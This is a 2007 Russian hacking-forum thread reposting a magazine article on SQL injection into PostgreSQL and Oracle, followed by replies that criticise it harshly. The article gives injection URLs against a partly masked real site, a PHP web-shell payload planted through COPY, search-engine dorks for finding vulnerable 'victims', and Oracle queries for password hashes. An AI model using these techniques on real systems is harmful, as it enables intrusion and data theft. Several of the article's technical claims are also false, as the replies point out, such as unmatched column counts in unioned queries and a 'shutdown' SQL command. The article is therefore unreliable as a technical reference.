Статьи Проведение Sql-injection В Postgresql и ORACLE

Discussion in 'Статьи' started by Alexsize, 6 Sep 2007.

  1. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,770
    Likes Received:
    1,221
    Reputations:
    704
    Всем наверняка знакомо сочетание «sql-injection». Не раз и не два мы вытягивали нужные сведения из таблиц баз данных. В то же время далеко не всегда удается провести успешную инъекцию из-за незнания особенностей той или иной базы данных. В общих чертах синтаксис ANSI SQL везде одинаков, но существуют подводные камни.

    Intro:

    В большинстве случаев уязвимое приложение
    взаимодействует с MySQL, но, кроме «мускула»,
    довольно популярными являются серверы баз данных MSSQL, Oracle и PostgreSQL. Писать про все три мы не будем — информации по теме инъекций в серверы, использующие СУБД MSSQL, более чем достаточно. Сегодня мы на практических примерах рассмотрим некоторые тонкости при взломе PostgreSQL. Учти,
    что никто не собирается обучать тебя языку структурированных запросов SQL.

    Десять «святых заповедей»

    PostgreSQL — достаточно мощная система, администрировать которую труднее, чем MySQL. Как
    правило, ее используют на крупных коммерческих
    проектах, требующих сложной иерархической
    структуры базы данных. Но в то же время PostgreSQL
    тяжелая и работает медленнее, чем тот же «мускул»,
    поэтому вряд ли кто-то будет использовать эту СУБД
    для домашней страницы (хотя в нашей жизни все
    возможно). Чтобы все твои инъекции были
    успешными, усвой десять простых правил. Но учти, что они характерны только для PostgreSQL.

    1. В отличие от MySQL, в базах данных PostgreSQL количество полей в select-запросах может не совпадать. Следовательно, здесь нам не нужно подбирать количество полей, как это бывает в MySQL.
    Пример: запрос «http://club.*****.ru/?part_id=10;select 1/**/» равнозначен «http://club.*****.ru/?part_id=10;select 1,2/**/».

    2.Таблицы Mytable и mytable не равнозначны.
    Всегда следует учитывать регистр букв.

    3.Нельзя оставлять открытый комментарий.
    Следовательно, отсечь ненужный нам sql-запрос
    просто так не получится. Но есть простой выход — использование null-байта «%00» (при отсутствии фильтрации).

    Запрос:
    http://club.*****.ru/?part_id=10-1/*

    Вывод:
    Fatal error: Call to undefined function: fetchrow()
    in /var/www/htdocs/veresk_club/classes/SQL.
    class.php on line 25

    Запрос:
    http://club.*****.ru/?part_id=10-1/**/

    Вывод:
    Страница сайта.

    4. Для записи данных из файла в таблицу или наоборот, из
    таблицы в файл в PostgreSQL, используется оператор COPY.
    Вот его синтаксис, взятый из документации:

    COPY tablename [ ( column [, ...] ) ]
    TO { 'filename' | STDOUT }
    [ [ WITH ]
    [ BINARY ]
    [ OIDS ]
    [ DELIMITER [ AS ] 'delimiter' ]
    [ NULL [ AS ] 'null string' ] ]


    При копировании данных из таблицы в файл все просто:

    copy targettable to '/home/www/';copy.

    Для получения шелла в поле таблицы targettable, естественно, должен быть прописан код, создающий шелл (пример запроса:

    insert into «targettable"(columnname) values ('<? php system($_GET["cmd"]); ?>');).

    Поле columnname должно иметь строковой тип (char, varchar). Единственное «но» — нужны соответствующие права записи в файл и записи в директорию. Либо можно попытаться перезаписать уже существующий файл. Далее мы просто обращаемся к сайту напрямую, поскольку задана WWW-директория.
    В общем, тут много вариантов, можно, к примеру, еще и проапдейтить таблицу своими значениями (UPDATE).
    Если же нужно копировать существующий файл в таблицу, то последовательность действий должна быть следующей. Создаем новую таблицу с одним столбцом, выполняем запрос, копирующий файл в таблицу. Затем выполняем запрос для выбора данных из таблицы.

    Сами запросы по порядку:

    create table mytable(columnname);
    create table copy mytable (columnname) from '/home/www/file'
    union select culumnname from «mytable»


    5. Числа 0 и 1 не равнозначны булевым значениям TRUE и FALSE. Об этом свидетельствует и сам ответ сервера.

    Запрос:
    http://club.*****.ru/?part_id=10 or 1

    Вывод:
    Warning: pg_query(): Query failed: ERROR: Argument of or must
    be type boolean, not type integer in var/www/htdocs/veresk_club/classes/SQL.class.php on line 25
    Fatal error: Call to undefined function: fetchrow() in /var/www/htdocs/veresk_club/classes/SQL.class.php on line
    25

    Запрос:
    http://club.*****.ru/?part_id=10 or TRUE

    Вывод:
    Страница сайта.
    Запрос «http://club.*****.ru/?part_id=10 and TRUE=TRUE» успешно выполнится, а «http://club.*****.ru/?part_id=10 and
    TRUE=1» нет.

    6.Все select-запросы разделяются точкой с запятой, но на выходе мы наблюдаем результат только последнего запроса. То есть использование «ядовитого нуля» обязательно.

    Запрос:
    http://club.*****.ru/?part_id=10;select 1/**/

    Вывод:
    Страница сайта.

    7.Ограничение доступа никто не отменял, поэтому для
    записи в файл нужны соответствующие права. Нужно
    создать новый файл в доступной нам по правам
    папке или писать в другой файл, также доступный
    пользователю, под которым запущен PostgreSQL.

    8.Функция chr() возвращает ASCII-код символа. Но ее использование связано с некоторой сложностью, поскольку функция принимает и возвращает только один символ.
    Для получения кода целой строки придется вызывать
    отдельную функцию для каждого символа и в последствии объединять.

    Пример:
    Строка «123».

    Кодирование:

    chr(1)||chr(2)||chr(3)

    9. Текущего пользователя можно узнать, вызвав функцию

    User(), а версию — используя функцию
    version().

    10.Вырубить сервер всегда можно с помощью
    простой инструкции shutdown (при соответствующих
    правах).

    Все намного проще…

    В начале этого повествования я не успел обрадовать читателя и упомянуть о том, что извлечь данные из PostgreSQL при определенных обстоятельствах намного легче, чем из той же MySQL.
    Как правило, информация извлекается одной из
    двух возможных функций:

    pg_Fetch_Object и pg_fetch_array().

    Если используется первая функция, то придется явно указывать имя нужного нам столбца в таблице. pg_Fetch_Object возвращает объект, а не массив. В очередной раз проводя аналогию с «мускулом», отмечу, что здесь не нужно знать порядок столбцов, требуется лишь наименование.
    Получение объекта PostgreSQL с помощью
    pg_Fetch_Object реализуется простым PHP-сценарием:
    PHP:
    <?php  $database "verlag";
    $db_conn pg_connect  ("localhost""5432""""",  $database);
    if (!
    $db_conn): ?>  
    <H1>Ошибка соединения с базой  
    <? echo $database ?>
    </H1> <?  exit;  endif;
    $qu = pg_exec ($db_conn, "SELECT  * FROM verlag ORDER BY autor");
    $row = 0; // PostgreSQL необходим счетчик записей, в отличие от  других СУБД  
    while ($data = pg_fetch_object  ($qu, $row)):  echo $data->autor." (";  echo $data->jahr ."): ";
    echo $data->titel."<BR>";
    $row++;  endwhile;  ?><PRE>
    <?  $fields[] = Array ("autor",  "Author");
    $fields[] = Array ("jahr", "  Year");  
    $fields[] = Array («titel", "  Title");
    $row= 0; // PostgreSQL необходим счетчик записей, в отличие от  других СУБД  
    while ($data = pg_fetch_object  ($qu, $row)):  reset ($fields);
    while (list (,$item) = each  ($fields)):  echo $item[1].": ".$data-  >$item[0]."\n";
    endwhile;
    $row++;  
    endwhile; ?>
    </PRE>
    Если же используется функция pg_fetch_array(), то нам не требуется точное имя столбца, порядковый номер, единственное, что нужно, — общее число столбцов в таблице. Дело в том, что эта функция, как и pg_fetch_row(), хранит результат запроса под числовыми индексами в массиве.
    Пример применения pg_fetch_array():
    PHP:
    <? php  $conn pg_pconnect  ("dbname=publisher");
    if (!
    $conn) {  echo "An error occured.\n";  exit;  }  $result pg_query ($conn,  "SELECT * FROM authors");  if (!$result) {  echo "An error occured.\n";  exit;  }
    $arr pg_fetch_array ($result,  0PGSQL_NUM);
    echo 
    $arr[0] . " <- array\n";
    $arr pg_fetch_array ($result,  1PGSQL_ASSOC);  echo $arr["author"] . " <- array\  n";
    ?>
    Идентификация

    При проведении атаки типа sql-injection взломщик первым делом определяет сервер базы данных, с которым придется проводить последующие манипуляции. В MySQL все просто:
    подставил кавычку в запрос, ну или, в крайнем случае, составил логическое выражение — получил ошибку. Чтобы точно определить, что мы взаимодействуем с PostgreSQL, нужно ввести в
    запрос специальные операторы или функции,
    присутствующие исключительно в PostgreSQL.
    Выделим основные.

    Операторы:

    |/ — квадратный корень;
    !! — префиксный оператор;
    ! — факториал;
    % — остаток от деления;
    ^ — возведение в степень;
    ||/ — кубический корень.


    Функции:

    sign() — знак числа, переданного в качестве
    аргумента;

    cbrt() — кубический корень числа, передаваемого в качестве аргумента.
    Если мы получаем пустую страницу или шаблон
    страницы загружается без динамического содержимого, то будь уверен — это PostgreSQL.

    В поисках цели

    Примечательно, что сайты с уязвимыми скриптами достаточно просто найти через Google. Для этого есть несколько запросов:

    1. PostgreSQL query failed: ERROR: parser: parse error
    2. Supplied argument is not a valid PostgreSQL result
    3. Warning: pg_exec() [function.pg-exec]: Query failed

    Перечислять все коды ошибок здесь не имеет смысла. Полезнее обратиться к документации
    (www.postgresql.org/docs).
    Немного отойдя от темы, напомню, что поисковик Google является не только удобным
    средством для обнаружения потенциальной жертвы, но и «историей болезни» многих порталов, поскольку использует кэширование ;).
    Зачастую уязвимые скрипты, которые заменяются новыми, пропатченными, остаются на сервере. Найти их поможет веб-архив (www.web.archive.org). Заходим, вбиваем адрес нужного нам сайта, находим все доступные скрипты и по очереди выясняем их наличие на сервере. Если таковые обнаруживаются, то проверяем на уязвимости. Здесь мы выполняем простое сканирование. Да — примитивно, да — долго, но это последнее, на что следует идти, если другие решения не найдены.

    Явление Oracle​


    1. Идентификация СУБД аналогична определению PostgreSQL.
    2. Возможно выполнение таких запросов, как INSERT, DELETE, UPDATE.
    3. Использовать limit,
    как ты это делал в MySQL,
    в Oracle не получится. Вместо этого используй in (1,2).
    4. Подстановка нулей (Null) не сработает для поля типа integer, используй ее только для строкового поля.
    5. Одной из самых серьезных ошибок при администрировании Oracle является использование пользователя с максимальными правами (DBSNMP), и естественно, возможный взломщик может внедрять свои запросы, имея максимальные права.
    6. Использование разделения выражений
    символом «;» невозможно.
    7. Узнать схему СУБД Oracle можно несколькими способами: «select user from dual», «select namefrom V$DATABASE», «select SCHEMANAME from v$session» или «select sys.login_user from sys.
    dual». Зашифрованный пароль (необратимый хэш, генерируемый из пары «юзер && пароль») узнается запросом «select PASSWORD from dba_users или select PASSWORD from user_users». Версия — запросом «select VERSION from V$INSTANCE», аккаунты пользователей— «select * from sys.dba_users».
    8. Используются стандартные комментарии («--»).
    9. Вместо пробелов можно использовать кавычки.
    Пример: «select"username"from"sys».«dba_users"where"username"='sys'»
    10. Кодирование в ASCII-символ происходит так же, как и в PostgreSQL, — с помощью функции chr().
    11. Для конкатенации используются пайпы(«||»).
    12.Сайты с бажными скриптами легко ищутся в поисковике: «ORA-00921: unexpected end of SQLcommand».


    Надеюсь мы сможем почерпнуть отсюда что нибудь новое.
    Критика статьи преветствуеться, оффтоперы не пройдут. Мелкие недоработки будут учтены и исправлены. Жду Ваших оценок.
    Статья взята с майского номера журнала "Хакер".
     
    #1 Alexsize, 6 Sep 2007
    Last edited: 6 Sep 2007
  2. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    И зачем она нужна?
    https://forum.antichat.ru/thread35599.html
     
  3. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    http://www.xakep.ru/magazine/xa/101/078/1.asp
     
    _________________________
  4. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Это такой лол пишут в хакере??? Я в шоке...
     
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    По PostgreSQL

    Дальше мона не читать =\
    Такое чувство что автор ни разу не проводил инъекции в реальные Postgre сервера...

    Вообще полный ЛОЛ! Автор не слышал про однострочные комментарии "--"(два тире)
    Особенно жжет вот здесь:
    Просто улыбнуло =)


    По Oracle

    Если
    то как тогда возможно
    предлагается вставлять в синтаксис SELECT? о_О
    Или имеется ввиду в принципе поддержка данных операторов в SQL Oracle =)

    Чушь полная =\

    аналогично лол..
     
    #5 [53x]Shadow, 6 Sep 2007
    Last edited: 6 Sep 2007
  6. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    я специально попросил опубликовать эту статью
    для обсужедения и критики, поскольку когда её читал в оригинале, подумал что у меня чтото с глазами

    интересна ваша критика

    уточню что я говорю не о Х и не пытаюсь его высмеять или еще что-либо

    интересует только сабж как таковой по Postgresql
     
    #6 Elekt, 6 Sep 2007
    Last edited: 6 Sep 2007
  7. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    незнаю что там с Хакером, информция там всегда была какой то кривой. Но вот у Spyder а( по ссылке в 1 моем посте) расписано все нормально

    Добавлено: увидел кто автор статьив Х и все стало на свои места
     
    #7 Constantine, 6 Sep 2007
    Last edited: 6 Sep 2007
  8. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Имхо, все нормально с глазами - проблемы со статьей =)
     
  9. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    КГ/АМ. Что значит тяжелая? Postgres изначально разрабатывалась как биллинговая СУБД. Она ориентирована на высокую производительность с использованием транзакций. Любой сервер можно завалить кривым запросом. Аффтар идёт лесом.

    КГ/АМ. Как такое вообще в печать пропустили? Нету ни одной СУБД в мире где количество полей в объединяемых запросах не совпадало бы... Это противоречит принципам реляционной логики! Кодд сто раз в гробу перевернулся, когда аффтар писал это.


    Аффтар знает про существование "--"?

    На это нужны права Postgres.

    КГ/АМ. Аффтар в запросе использовал склярное значение 1, а в логических операциях всегда используется значение выражения! То есть если бы он написал 1=1, то всё бы прохляло. А так и коню ясно, что число 1 не может трактоваться как булевый результат вычисления выражения.

    В Postgres нету SQL-операции shutdown. Есть только бинарник. Как себе аффтар представляет глушение сервера, при включённом коннекте?

    Аффтар мудак. В Oracle версию можно посмотреть через запрос к соответствующему представлению-справочнику: SELECT BANNER FROM V$VERSION

    Данунах?

    И что должно быть in (1,2)? Аффтар укурок полный. В отсутствие LIMIT в Oracle перебор ведётся с использованием ROWNUM. Например: SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

    Данунах?

    При чём тут администрирование? Для каждого приложения создаётся своя схема! В мире нету ни одного прикладного приложения, которое бы использовало DBSNMP для работы!

    Только при наличии прав DBA. О об этом можно только мечтать.

    Только при наличии прав DBA.

    КГ/АМ. Аффтар не представляет даже, что в данном случае кавычка используется не как пробел, а лексическое отделение идентификатора от других элеметнов команды. Путь он попробует с помощью кавычки сделать то-то типа: "UNION"SELECT"1,2,3". Это ЛОЛ полный! И все идентификаторы в кавычках отличаются по регистру, то есть такой запрос хер пройдёт! В Oracle нету системных объектов, имеющих имена в нижнем регистре, а обращение "username" некорретно, достустимо только USERNAME или "USERNAME".

    Вывод: Аффтар нарик и алкоголик. Статью сразу под снос. Вся его статья - это неосмысленный выдержки из манов, разбавленные его наркотическим бредом. Ценность статьи - 0.